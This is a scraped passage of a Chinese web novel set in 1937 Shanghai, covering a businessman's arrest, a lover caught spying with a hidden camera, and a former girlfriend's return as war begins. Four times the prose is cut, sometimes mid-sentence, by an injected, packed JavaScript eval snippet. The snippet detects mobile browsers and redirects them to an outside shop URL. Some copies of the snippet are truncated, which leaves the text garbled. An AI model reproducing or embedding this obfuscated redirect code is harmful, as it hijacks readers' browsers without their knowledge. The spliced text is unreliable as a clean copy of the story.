薛莲山自信毫不过问政|治,绝没有参与任何颠覆活动,那几个华人巡捕也支支吾吾说不清楚,总之就是有人举报他进行颠覆活动。 “有人举报你们就抓?”薛莲山不耐烦道,“我要见你们的总巡。” 他们确实也不敢把他往牢房里关,于是立刻请到了会客室,又去叫总巡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167843|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这块片区的总巡,很不凑巧,是个印度人。薛莲山觉得让个印度人过来跟自己说话简直是奇耻大辱,他的英文还算可以,对方的英文却是相当地有弹性,舌头在其中弹来弹去,讲了半天都没讲清楚。讲到一半,顾盼又被人放进来探望他,对着他哭了一阵后,开始对着印度人哭。 薛莲山把她赶出去了,问印度人:“我能用电话吗?” 印度人一边点头,一边说:“No。” 他这时候想起来印度的点头是“不行”的意思,没忍住笑了起来,印度人的表情立刻变得不善,叫来几个巡捕把他带进一间牢房。牢房的基础设施很好,有床有马桶,然而还是牢房。 他心平气和地躺下了,知道自己早晚能被营救出去,只是错过了和史密斯的见面,听说这人前后都有行程,排期相当紧密......唉,这叫什么事!到底谁举报了他? 许豫生?不,此人正得发邪。魏书理?他自己也在上海,岂能不懂唇亡齿寒的道理。铃木?铃木怎么知道他在干什么? 一只老鼠从床下窜出来,薛莲山盯着他四处乱跑,笑了:又跟老鼠做上伴了! 不出他的预料,就算他的电话拨不出去,外界也积极地运作了起来。 龚小姐一见华人巡捕在公司里翻箱倒柜,立刻抱着电话簿跑了,借用对街咖啡馆的电话联系上了邵子骏。 青帮势力和巡捕房向来亲密无间,邵子骏虽和那位印度总巡没有交情,却认识另一片区的英国总巡,通过英国总巡,他打探出了薛莲山的罪名:“你们是不是开了会研讨要跟美国人合作啊?他们说,这种集会必须上报巡捕房,不然就算非法集会,进行颠覆活动。他们甚至翻到了你们的会议记录,说是证据。” 龚小姐傻了,“哪有这回事?” “你不能跟他们讲道理!不过,天下不太平倒是真的。这样,你先找律师,啊,实在不行再告诉我,我就去找邵子驹了。” 龚小姐立刻找了律师,律师了解了情况,说自己有很大把握打赢官司,但一去一来时间就长了,如果怕薛先生在牢房里受罪的话,可以联系文化界的人士进行施压。“因为这个颠覆活动的概念很空,他们有最终解释权,他们认为有威胁性就是有威胁性。”律师解释道,“当然了,我认为这个罪名还是很牵强。” 于是付宗方等文化界人士又站出来,洋洋洒洒地发文章、给领事馆写信,闹到了许豫生那里,最终由许豫生出面,把薛莲山保释了出来。 薛莲山其实宁愿在里面把年过完,也不愿意欠许豫生这个人情。反正现在出来也晚了,史密斯留了封信说已去宁波,从此联系不上。 听闻他要回家的消息,定青撑着爬了起来,颤颤巍巍迎到门口;顾盼更是放了个火盆在地上,催他:“去去晦气!” 他笑道:“又不是坐了牢!” “可真把我吓死了。” “没有什么的,我经常被人找茬,去年这时候——” 他闭了嘴,以免引出顾盼的妒意。 40.相机 然而顾盼的妒意终究是来了。某日趁他出去上厕所,顾盼悄悄溜进他的办公室,一眼就发现了不对——薛莲山此人的装修风格很摩登,绝没有盆栽、茶具、字画等等,然而墙壁上裱了一副字,并非出自名家,却是写在草稿纸上的,不伦不类,触目惊心。 她不是个聪明人,在这样的事情上却很聪明。找到龚小姐,她便问:“那字是谁写的?” 龚小姐一听,觉得要遭,敷衍道:“我也不知道。” 顾盼不能罢休。黑暗中,两人抱在一起,俱是微微出了汗,她趴在他手臂上,忽然问:“你办公室里那副字是谁写的?” 薛莲山此时对她的柔情蜜意很多,耐心回答说:“一个女学生。” “把它换下来好不好?” “吃醋了?” “吃醋了。”顾盼点点头,抱住他一条胳膊蹭来蹭去,闷闷地说,“我这么爱你,你舍得让我伤心?” 他逗她:“‘这么’是多么?” “‘这么’就是——谁都比不上了。” “没良心的,父母也比不上?” “父母并没有给过我这么多钱和这么多陪伴呀!哼,他们一天到晚说忙,忙着打牌,都不管我们;你是真忙,你却愿意把我带在身边。” “朋友陪你的时间总该多了吧。” “朋友嘛,是互相的,今天她送了我东西,明天我就要请她吃饭。可是我并不能请你吃饭,我能给你的,只有看不见摸不着的爱了;你却能一直单方面地对我好。” 薛莲山不禁觉得她有点傻气,实在是可怜可爱,就把她抱在怀里,使劲儿吻她的额头。吻完了,他说:“等我忙完了这一阵,还能对你更好。等天气暖和了,你也不要老待在家里,可以出去工作。我把你介绍给一个很有名气的大导演,让你做女主角,好不好?” “咦,你是嫌我在家混吃混喝很碍眼呀?” “我是帮你实现愿望。” “我不许这个愿望。”顾盼咯咯笑着,伸出一根手指,“我今年的新年愿望是——你把那副字取下来。” 薛莲山当时满口答应下来,但因为好几天都在外面跑,没回公司,并没有立刻执行。等回去的时候,一抬头,发现墙上的字换成了顾盼的照片,又好气又好笑,叫来龚小姐问怎么回事。 龚小姐解释说:“顾小姐昨天来换的。” “原来的字呢?” “好像被扔了。” 薛莲山用钢笔重重敲了敲桌子,“下回不要再放无关人员进来了!说了多少次!” 他倒不是很可惜金雪池那副字,倘若顾盼不突袭,他也会按承诺取下。但是顾盼又溜进了他的办公室,自作主张扔了字,还把自己的照片挂上,他就生出了一种被管束的恼火感。 答应你是我愿意答应你,你还真管起我来了? 龚小姐还十分紧张地在门口杵着,他放缓了表情,让她先出去,随后和顾盼的照片对视了几秒。照片里的顾盼咧出一嘴的小白牙,弯弯的眼睛正对着他飞眼风。他最终还是没忍住笑了,不知道被她气的,还是觉得这副模样傻。 唉,真可怜,她多么爱他。 一周后,薛莲山还是把照片取下来了。因为“大展宏图”毕竟有个吉祥寓意,在办公室里挂张女人的照片,毕竟不太正经,来来往往的下属看到后都很惊讶;史密斯先生也终于回到了上海,一进门,就赞扬他是一位“深情的丈夫”,弄得薛莲山窘迫不已。 傻傻的顾盼居然成了侦探,虽不被允许进他的办公室,却站在对街咖啡馆的二楼,通过窗户看到了他光秃秃的墙面。 她去问他:“你把我照片取下来了?” 薛莲山不胜其烦,“多大点事,别再说了。” “可是......你挂她写的字挂了那么久!” “字是字,照片是照片,我一抬头就看到你在那儿笑,怪不怪?” 顾盼惊讶道:“你当时说拍得很好看!” 薛莲山一阵咳嗽,转到阳台上去透气。顾盼啪嗒啪嗒追上来,从后环住他的腰,小声嘟囔道:“我就是......那不挂照片行了吧?我也写个字,写一样的,你挂上去。” 她写了“大展宏图”四字,薛莲山也挂上去了,两人和好如初。几天后,她又开始提:“那个女学生是在怎样的情景、怎样的心情下写这副字的,你又出于什么缘由挂上去,我全然不知道,只是一种抄袭。这四个字已经成为你们之间专属的秘密了,我抄不走的。你看到,不会想起我,还是会想起她......” 薛莲山闭着眼睛,心平气和地说:“再说就出去。” 顾盼果然没有再说了,只把脸埋在他颈间,片刻后,有一滴温热的泪淌进他的领子里。 四月初,欣达公司正式入股。 这中间还经历了许多波折,如今尘埃落定,实在不易。薛莲山还没喘口气,邵老爷子的死讯就传来了。 他是先得到消息的,得到消息后,纳闷邵子骏怎么不给自己打电话,给他打又打不通。邵子驹那边已经开始大张旗鼓地办白事了,邵子骏的电话一晚上都没打通——第二天早上才通,他喝醉了。 “完蛋了!”他急得直吼,“昨天客人到了一大波,都没见着我,包括青帮里的长辈......被邵子驹——” “不要紧。”薛莲山说,“我看你们帮中的长辈对于邵子驹的亲日立场也不是很赞同,从这上面做文章就可以了。你现在立刻回去,他不是有几个码头专门卸日本人的货吗?就问长辈那些码头怎么办。” “他们怕是不会立刻说什么,邵子驹现在很有派头。” “问完你就不管了,该押运押运,该巡逻巡逻,做实事,不要喝酒。” 邵子骏在他面前答应得很乖,到了外面却全不受控制,几天后,居然当街跟邵子驹舞刀弄棒地打起来了。砸了几家店面,伤了几个人,邵子驹腰上挨了一铁棍,他也被对面的人砸了腿。 腿断了比下巴伤了更糟糕,他很有些时日下不了地,不过好在邵子驹应该也下不了地,局势短时间内不会有什么变化。他只是无聊,不住地往薛莲山办公室打电话。薛莲山发现他没什么要事,一直挂断,他就一直打。 最终接起来,薛莲山很无奈地说:“你不要一直占线,这是工作电话,别人打不进来了。” “来看看我吧。” “前天才去看过你的。” “唉!” “闲得没事就看看书,提升一下自我修养,不要一言不合就打架斗殴。”薛莲山闲闲地说,“明晚去看你,再打电话就不去了。” 定青渐渐地痊愈了,想要跟他一起外出,薛莲山觉得没必要带乌泱泱一大批人,只带着阿龙。如此以来,定青就隐隐地有些不高兴;不过这时候顾盼也在闹不高兴,认为龚小姐一个秘书只应该负责本职工作,不应该老跟他闲聊。薛莲山被她闹得心里烦,也没精力去注意定青了。 六月的某天,一封译好了的加急电报发到薛公馆。薛莲山接过一读,霍然站起身:睢宁县发矿难了,塌方一片,底下至少困了三十个人! 这么大的事故,倘若被人抓住做文章,够他喝一壶的。何况他就是以“民族企业家”闻名,一直宣称自己安全措施做得好......他确实做得好,这一点上,问心无愧,但采矿就是件危险的事情。多少年都没出重大事故,偏偏在这个节骨眼上出事了! 他立刻差定青去买火车票,同时收拾行李准备出门。车票买回来了,定青以为是自己跟他的,谁知是阿龙跟他的,就一直问为什么自己不能去。顾盼也要跟着去,他但凡几天不着家,她就怀疑他在外面有人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173107|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 薛莲山理也没理她,跟龚小姐打电话交代自己出门期间的工作事宜,期间顾盼在旁边又跺脚又尖叫,龚小姐几乎没听清楚几个字,也不敢多问。挂了电话,薛莲山提起行李就走,顾盼忽然先他一步冲到汽车房,抄起墙角的铁锹砸碎了劳斯莱斯的挡风玻璃。 他忽然站住了,没笑也没发怒,转头告诉定青:“再去买一张票。” 定青不敢相信再买一张票是要带顾盼,也不带自己,踟蹰着没有走。薛莲山是很愿意通过对蠢人友好来体现自己的修养的,此刻实在装不下去,自己坐上一辆车直接一脚油门走了。 余人面面相觑,定青实在不敢跟过去,就由阿龙带着顾盼搭了一辆洋车跟去火车站。薛莲山已经把票买好了,面若寒霜地递给她,没说什么。 顾盼后知后觉地知道自己过分了。 汽车是他的宝贝,最珍爱的宝贝被砸了,已然让他十分不快;她还把他第二珍爱的砸了,此行为在他心中,已经和日本人没有区别。但是他没发火,真遂了自己的愿。 她有一种不好的预感,好像凉水从喉管下沉至胃里,沉甸甸的寒意。 三人进了特等包厢,地上铺了猩红羊毛地毯,顶上悬水晶灯,中部的茶几上摆着一口花瓶,插了几朵假花;相对的是两条真皮沙发。薛莲山往沙发上一靠,抱着双臂,是一个谁也不搭理的入定姿态。 她坐在对面望着他,紧紧攥着手里的皮包。下午正是光线强烈的时候,透过窗户、照在他左侧的半张脸上,使她产生一种在雪山上看他的恍惚感,高海拔上,日光才这么亮。 她想她是真的很爱这个人,她的天地太小了,连火车也是头一回坐;若不是爱他爱到神魂逸飞,是不会想起雪山这种遥远、壮丽的事物的。 一个冰冷、坚硬的东西抵上了她的太阳穴。 顾盼整个人都僵住了,不知道要举起双手,阿龙就直接从后面强行抽走了她的皮包、搁在椅背上,从中翻出了一只烟盒大小的相机。这种折叠式皮腔相机在正规渠道上根本没得卖,也不是她能负担起的。薛莲山也在同时睁开了眼睛,接过阿龙扔过来的相机查看,现在看不到她拍过什么,必须找个暗房冲洗出来。 翻来覆去盘玩着,他心中觉得有点可惜。女人如果太坦诚,会失去魅力。现在看来顾盼并不是完全的坦诚,也不是完全的傻——兴许还是比较傻的,她兼具勇气和祸心,是个千真万确有魅力的女人。再抬头看向她时,他就微微地带笑了,“过去有没有传照片出去?” 顾盼含泪瞪着他,一直在深深地吸气,什么都没说。不说话就是有。 阿龙插话道:“薛先生,问话不是这么问的。等下了火车,我问给你看。” “没必要。”薛莲山说。 阿龙理解,他不舍得刑讯逼供,那就下车后直接枪毙。包厢内的气氛死气沉沉,顾盼一个字都没为自己求情。下了火车,阿龙正要开口说话,薛莲山一拍顾盼的后脑勺,“走吧。” 顾盼整个身子僵成一块铁板,顺着往前一栽,趔趄了好几步才站住;回望着薛莲山,眼中的泪水反射了太阳光,几乎是雪亮的,是柳叶上的一颗露,珠玉莹然、顾盼生辉。阿龙觉得薛莲山已经不能说是怜香惜玉了,这叫色令智昏,“薛先生,我劝你三思!你大过年蹲了几天巡捕房,就是因为——” “没关系。”薛莲山打断他,望向顾盼,“走吧,下回再有人指使你做这么危险的事,不要答应了。” 这种程度的损失他又不是承受不起,他还以自己的名义为金雪池背了书呢。这样的小事是每个绅士都会做的。 当晚他去市里找了家照相馆把照片冲出来看,一张一张,几乎把他办公室、书房里的文件拍遍了,角度粗暴,怼着拍特写;就那么一两张的镜头有种含蓄的距离感,拍他趴在桌上睡觉的侧脸。 41.厚德载物 考完期末的金雪池连续睡了两整天,其间一次都没醒。孙婕霓以为她死了,喊了几个女校工来,几人七手八脚掐人中、摸脉搏。金雪池懵懵懂懂睁开眼,大脑尚未缓过神来,看了这么多陌生人围在床边,以为是在做梦,遂闭上眼继续睡。 事后,孙婕霓感慨道:“你怎么这么能睡?” “我连续一周每天只睡三小时,很累的。” “So,你就毕业了?” 金雪池点了点头,“等到七月中旬,毕业证就发下来了。” 孙婕霓说不出是什么滋味,看对方的意思,是丝毫不留恋大学生活、圣约翰以及自己的,或许觉得也还可以,但绝不至于满怀深情。“那你接下来干什么?” “我目前的计划是去苏州或者南京找工作,反正手里还有一些钱,两三年内是够的。短期内,我把出租屋退掉了,就住宿舍,距离闭校还有一段时间。”金雪池道,“你要约我出去玩吗?” 孙婕霓露出一丝讥讽的笑,“谁要约你出去玩?” “哦。”金雪池点了点头,“那我白天就去图书馆了。” 她不是去学习的,是去看闲书的。离开圣约翰后,就不能免费看到这么多闲书了,且看且珍惜吧! 自从来到上海,她不是为学业所烦忧,就是为薛莲山所烦忧,现在两件事都彻底地结束了,她头一回可以心无旁骛地休息。等到录取通知书下来,又要继续为生活奔波了,下一次停下脚步还不知道是什么时候。人生居天壤间,忽如飞鸟栖枯枝。我今隐约欲何为? 然而这样轻松、平静的日子甚至没持续到录取通知书发下来的时候。七月七日晚,流言就已经通过各种渠道传经上海,嗡嗡地扰乱着这座城市;到了七月八日早上,报纸加急印出来,上海就在白纸黑字的重磅新闻里摇晃了:日军进攻宛平城! 金雪池看到报纸,脑子空白片刻,知道这是真的要打仗了! 倘若老豆在的话,她并不会这样恐慌;但此刻身边并无信得过的亲友,她的生活和交际能力又很低下,只在上海这样方便的大城市里能勉勉强强生活着。一旦开始打仗,交通、通讯、物资出了问题,那她真是上天无路、入地无门了! 金雪池在校门口心神不宁地转了几圈,感觉不能往江苏跑,应该去内地,要么就......武汉吧。现在就是等毕业证了,毕业证一下来,她立刻走。 十六号早上拿了毕业证,她正在宿舍清东西,隔壁的女生就来敲门,告诉她说:“楼下有人找你。” 金雪池连忙盘好头发下楼,心中蓦地一惊:是定青! 定青做了个“请”的手势,两人就并肩往后门口走,走至无人之地时,他开口说:“薛先生有位朋友叫王厚德,现在住到薛公馆来了。” 金雪池又是一惊:“啊?为什么?” “说是水龙头没关,房子被水淹坏了,现在在重新装修,住不得人,就来借宿。”定青答道,“薛先生现在在徐州,我拍了封电报过去说明情况,他......呃,他让我问你愿不愿意暑假去薛公馆住。你可以选择,不愿意就算了。” 他自己也觉得很尴尬,因为自家先生和这位金小姐分手已久了,他不知道这闹得是哪一出,怎么像什么都没发生过似的,又请金小姐来玩?金小姐都无语了。 金雪池没说话,是因为在想:薛公馆处于监视中。 但这是他的事,她从对他魔怔一般的感情漩涡里挣扎出来并不容易,既然出来了,就该再也不回头。毕业证正好是今早到手的,老天都催她走。 但是......她欠他很多很多钱,不知道这辈子能不能自食其力挣到那么多。倒不如一次性用人情偿清。她想到这个理由,几乎是高兴起来,对,我欠他钱!白花男人钱,这样的习气是很不好的。我理应—— 她三步并作两步回到宿舍,一把提起行李。孙婕霓猛地回头,挑着眉毛问:“这么开心?” 她板住脸,“我很开心吗?” “你的表情像听说日本打了败仗一样。因为准备走了?” 她刚刚让定青在楼下等着,听孙婕霓这么一说,心中又动摇了,觉得自己好没出息。于是从单肩帆布包的夹层里掏出骰子,心想:双数就去,单数就不去。 抛出来一看,三点。她又想:这不算,三局两胜......算了,这种想法出现的时候,也不用再抛了。 金雪池把骰子塞回去,扶着门框对孙婕霓说:“好吧,我确实开心,但并不是因为要走了,和你分别还是让我挺不舍得。有缘再会。” 孙婕霓是第一次听她说这么动听的人话,又想到时局不稳、家国动荡,人与人之间的联系渺若游丝,今日一别,不知是否还有相见之日?鼻子一酸,险要落下泪来。等她把眼泪憋回去,准备回一句不痛不痒的话的时候,门口已经没有人了。 天哪,你有没有心啊? 金雪池显然是有心的,她自认为那颗心的情感还很丰富,此刻抱着大包小包坐在定青的车上,简直产生了恍若隔世之感。上海和从前的上海大不同了,就这半个月里,黄浦江上就多了十几艘战艇,人也越来越多,都是从北边迁移来的。然而她还是坐在车的后排,往薛公馆去,命运在怎样的境况下都是如此。 不,这一次她不是去跟他谈情说爱的,她是去帮他的。等他一回家,她就该走了。 正如定青所言,一位陌生的矮个子男人正在沙发上听收音机,听一句啧一声。见金雪池跟在定青后面回来,他流露出些许惊讶,“这是哪一家的小姐?” 金雪池道:“我姓金。” “金小姐,幸会。敝人王厚德,是一位电影监制,和薛先生交情颇深,现在房子坏了,就借宿到这里来了!金小姐是薛先生的什么人?” 金雪池密切注意着他的神色,“我是他过去的女朋友。” 王厚德心想:原来是过去的风流债!“我只听说他和他现在的女朋友去徐州了,定青告诉我的,是不是?一去去了两个月,也不知道是什么事。” 定青在路上已经告诉了她是矿难的缘故。如此看来,此事捂得密不透风,外界尚且不知道。而一个电影监制和薛莲山之间不存在同行竞争,跑到薛公馆来监视,大概是个汉奸,替日本人来的。日本人的手伸不到徐州,在上海的势力倒是越来越大,等他一回来,大概就能逼着他把矿场的控制权交出来。 哦,金雪池电光火石地推理出来,日本人怕他直接跑了,毕竟女朋友都带上了! 薛莲山确实可以直接跑了,在徐州听到卢沟桥的事情后,就可以往内地跑,或者直接出国。那么叫她来是为什么呢?他不打算跑?不,他不跑不行,日本人现在已经敢在大街上抢劫了,对付他一个手无实权的商人费不了什么功夫。但他想回一趟上海再跑,因为他半生的积蓄全在这里。 他让她来,是希望放松日方的警惕,证明自己还是要回上海的,以免对方见他久不归家,直接硬闯苏兴公司。 金雪池当即便说:“他又有女朋友了?” 王厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178031|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德一听这件事好像相当得私人,自己一个中年男性不方便插嘴,就只是微笑着点头。金雪池又问定青:“他又有女朋友了?” 定青“啊”了一声,还没憋出一句话,金雪池便道:“麻烦你现在去给他拍一封电报,就说金雪池在家等着他,请他立刻回来。不管他现在有怎样丰富的生活,我都想见识一下。” 定青一头雾水地出去了。金雪池,俨然一副女主人的模样,朝王厚德点了一下头,翩翩地就进到了原来住的客房里。门一关上,她做了几个无声的深呼吸,觉得手都羞耻得在抖。 然后一抬头,发现这间客房早就不属于她了,全是另一个女人生活的痕迹。金雪池刚演完一通惊心动魄的大戏,一一扫视着屋内的物品,心里郁闷极了。 随即,她伸手掐了自己一下。本来就分手了,你现在是来还人情的! 薛莲山估计还很要几天才能回,她白日里根王厚德面面相觑也不是事,几番深呼吸后,她发表言论:“薛先生对我始乱终弃,很快又找了别的女人。你说,我是不是该狠狠宰他?” 王厚德十分赞同,“是这个理。” 金雪池也微笑:“所以趁他不在,我要出去把想买的东西都买了,挂他账上。” 她这么说,也这么做了,成日没有正事,就是买手镯、耳环和戒指。王厚德看她就是个败家娘们儿,没当回事。及至薛莲山回来的时候,她已经花了三四万法币出去。 当晚二人正在相对吃饭——王厚德是客、她是主,定青和其他佣人并不上桌。桌上的氛围很尴尬,金雪池只会有情而装无情,并不会无情而装有情,笑得脸都要僵了。好在王厚德年纪较大,并不对年轻人的表现有所体察;他也不像薛莲山那样了解女人,他所拥有几个女人都是对着他僵笑的,没发现异样。 “现在的中国人思路很不同了。”他借着酒劲发表观点,“像薛先生,这副年纪还不安稳下来成家!” 金雪池干巴巴地说:“是呀!” “我们是最讲究传宗接代的民族,现在——唉,现在要亡国灭种了!要死一大批人,照我看,就该多多地生。” “是呀!” “薛先生这么好的条件,就该多生孩子,再花钱培养成人才,以后对社会有用。他现在不生孩子,就给女人花,实际上是对资源的一种浪费。” “是呀!王先生高见......” 外头的风声里夹杂着汽车碾过石子路的声音,金雪池还想夸几句他这为国为民的高见,也不知道有这番高见的人怎么当了汉奸,现在什么词都编不出来了。定青匆匆从厨房里跑出来,拉开大门,院门口的家丁同时传话道:“薛先生回啦!” 她拉平旗袍在大腿处形成的皱褶,掏出手帕擦了嘴,随后若无其事地拿起筷子,在碗中一阵乱拨。 伴着响亮的皮鞋声,薛莲山穿堂过院,站在了玄关处。他身边没有女人,也没有男人。换鞋的时候他就看着她,她却不看他,只是文文雅雅地吃饭。换好拖鞋,他大步走进来,向王厚德打招呼:“王监制就把这里当自己家!” “哎哟,薛先生,谢谢你。你不是和顾小姐一同出去的吗?” “别提了,半路上顾小姐和我吵了一架,负气出走,不知道去哪里了!” 王厚德长长地应了一声,不知在想什么。薛莲山此刻已经没有看他了,走到金雪池旁边,他在她的脖颈上轻轻一拍,笑道:“妹妹,你好呀。” 金雪池游离半载的神魂,就在这一拍里,归位了。 42.主卧 当晚,金雪池搬到了主卧。 一来为防止王厚德的怀疑,哪有男女朋友分房睡的?二来为议事方便,情人间的私房话,王厚德不能凑进来听。理由很充分,但金雪池很怕薛莲山借题发挥,抱着枕头,犹豫要不要直接睡地上。 结果薛莲山洗完澡回来,第一时间把自己的枕头放到了地上。金雪池也连忙掷枕头到地上,“不,薛先生,这是你家。” 他隔着一张床凝视了她许久,轻声说:“我以为你不会来。” 刚洗完澡,他没戴眼睛,金雪池不敢领教那双眼睛的威力。她想问问顾盼的事,但又显得像自己吃了醋,最终只是很大度地一点头,“你需要帮……” 他忽然做了个“噤声”的手势,隔墙有耳。金雪池向他走过去,半是形势所迫,半是情不自禁。 他想搂她,发现这个距离不尴不尬,只好低声说:“我确实需要帮助,包括后面的一系列行动,也需要你的协助。你之后有什么计划?” 金雪池如实相告。薛莲山思索片刻,苦笑道:“怕是不能遂你的愿了!王厚德是个货真价实的汉奸,现在日本人也知道你住进了我家。等我出了国,你的处境会很危险。” 她没有想到这一茬,脸色慢慢地发白了。 薛莲山再一招手,她就六神无主地游移到他面前了。他一手搭在她后背上,将人揽进怀里。 香水的气味浸漫上来。 “你有两种选择。第一,他们追一段、你跑一段,武汉目前是很安全的。武汉要是掉了,你往四川跑。第二,”他看着她说,“跟我走。” 她心里仍然是茫然的,不过她这段时间心里都很茫然,同学也茫然,老师也茫然。能这样逻辑上有条不紊、情绪上温柔安抚对她说话的,只有薛莲山,只有他一个人。 “你要去美国,那我跟去做什么呢?” 薛莲山笑道:“做薛太太。” 她知道美国排华严重,他在那边有门路是他的事,自己作为女性,势必找不到工作,那么……一辈子就困在他身边了! 被电了一下似的,她说:“不。” “开玩笑的。”薛莲山仍是笑,“送你去读硕士。” 金雪池呼吸都要停止了——读硕士!美国的硕士! “我……”她语无伦次道,“我花你很多钱了,这回帮你的忙,可不可以算还清了?” 薛莲山一点头,“清了。” “我不欠你了。我选择去武汉。” “那么,我也尊重你的选择。”薛莲山面不改色道,“来,说说这几天的计划。定青告诉我,你把家里的法币用出去了?做得好。你既然不能亲自带这些奢侈品走,我只要带个年轻女佣人一起走了。” 当晚金雪池辗转反侧,为拒绝了薛莲山和去美国读硕士的双重诱惑而心痛,心痛得都有实感了,一抽一抽地疼。 人要为守住底线付出多大代价呢? 第二日一早,两人各自出门,她继续去购物——不乱买,专买精而贵的,为避免怀疑,还辅之以看电影、下馆子等各种娱乐活动。而薛莲山照常去公司上班,不显出任何异样。 他叫来龚小姐,让她去联系汇丰银行的买办,亲自上门拜访,不要打电话,不要拍电报。 所谓买办,用上海话来讲是“康白度”prador),指受雇于外国商行以协助其贸易活动的中间人和经理人,都是深谙跨境资金操作的。 龚小姐若有所感,也不多问,迅速执行了。 在他看来,公司里虽有可能插了人,但办公司、会议室这些地方的私密性还是很强。但这样的买办也有自己的规矩,不肯大喇喇地走进公司,一定要和他约在外面。 一天后,他和买办在咖啡馆的角落见了面。阿龙坐在他后方的桌上,眼观六路,耳听八方。 薛莲山东扯西拉了半天不谈正事,就怕对方听出自己急,急着脱手,急着跑路,像自己过去坑魏书理一样坑自己一把。 买办见多识广,其实已经看出了他的急,并不戳破。末了,薛莲山终于道:“我有心把公司抵押给贵行,包括江苏的六座矿。” “薛先生,你这一次性抵押太多了,其他人都是多次少量呀。” “唉,席经理,时局多变。” 买办不为所动,“恕我直言,贵公司的体量太大了,我们一次性开不出这么大的票据,而且佣金也会相应得很高。” “最多能抵押多少?” “能有二成就不错了。” 薛莲山也是没辙了。别人的工厂、原料、机器设备能分批运走,他那矿山能带走吗?事到如今,只能把这个闷亏吃下去,还是保命要紧。 “还是请席先生尽量为我争取,佣金不成问题。我也知道我的财产肯定要折损一大部分,席先生如果留在国内的话,甚至可以尽数取之。” “我只取我该取的。”买办说完,推椅便走。他慢慢站起身来,理了理衣角,向外走去;阿龙不远不近地跟上了。 他等消息等得心急如焚,汇丰评估资产评估得慢条斯理,一直没主动回话。二十八日,北平沦陷,全中国目瞪口呆:才过来半个月,日军的铁蹄就踏破了天子之门! 上海北站当天就涌入了三万难民。 当天金雪池在圣约翰门口碰到了林荣琪,对方背着个大藤筐,褂子连排扣都没系,敞露出汗津津的胸脯。他叫了声“学姐”,两人四目相对,路边尽是难民的队伍在说北方话,一声乡音,把并不亲近的两个人缠起来了。 “你这个暑假也不回家?” “嗯,我还是留下来。校长说要把体育馆临时改为难民收容所,然后组建了一个‘上海学生救亡服务团’,大家一起捐钱、捐物......毕竟能上圣约翰,家底都不薄,能捐出很可观的一笔。”林荣琪看着她,觉得她今天格外漂亮。 他和女性打交道的机会少,不知道是因为她要扮情妇,衣物首饰更上了一个档次、神情也安存有依的缘故;只以为是自己心有戚戚,到了王国维所说的境界,“以我观物,故物皆著我之色彩”,“学姐,你一个女孩子,还是回家吧!” 金雪池摆了摆手,无意跟他讲自己的事,“你不是要自谋发财之路?怎么做起义工了?” “国难之下,这不冲突。”林荣琪说,“圣约翰现在已经有15%的学生退学了,留校当义工的更是少之又少。我好好表现,虽然成绩不怎么样,教授也能高看我一眼,日后做个教授助理不成问题。” 金雪池不得不佩服:这人救国、事业两手抓! 她撸下一枚戒指扔进他背后的藤筐里,林荣琪还没来得及说什么,旁边一个流浪汉忽然扑了上来,瞬间撞倒两人! 林荣琪一翻身护住藤筐,跳起来就跑,也没管她。那流浪汉看金雪池是个女人,身上的财物又多,就拼命掰她的手。金雪池刚喊了一声“救命”,路边又有另一个难民打扮的人冲过来,还挑着扁担,一扁担捅了那流浪汉一个跟头。 “妈了个巴子!”那人中气十足地吼,“抢小丫头!” 她连忙抱着皮包踉踉跄跄往电车站跑,因为穿着高跟鞋,还崴了一下脚。 一天惊心动魄地过去,回到薛公馆,越发感触这里才是风雨不动安如山的所在。厚重的窗帘一放下来,室内就是个安谧、文明、光线柔和的小天地,连王厚德这无德之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183786|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都变得轻声细语、慢条斯理,跟他们在饭桌上拉家常。 金雪池坐在薛莲山旁边,在似有若无的香水气和碗筷碰撞的叮叮声中,精神懈怠、倦倦昏昏,有点接不住王厚德的招。不过也用不着她,自有薛莲山谈笑风生,她时不时附和一句就好。 脚踝还有一点疼,她慢慢地走回卧室,照往常,薛莲山立刻就会发现。不过他今天并没怎么注意她,见她进来,只是点了点头。 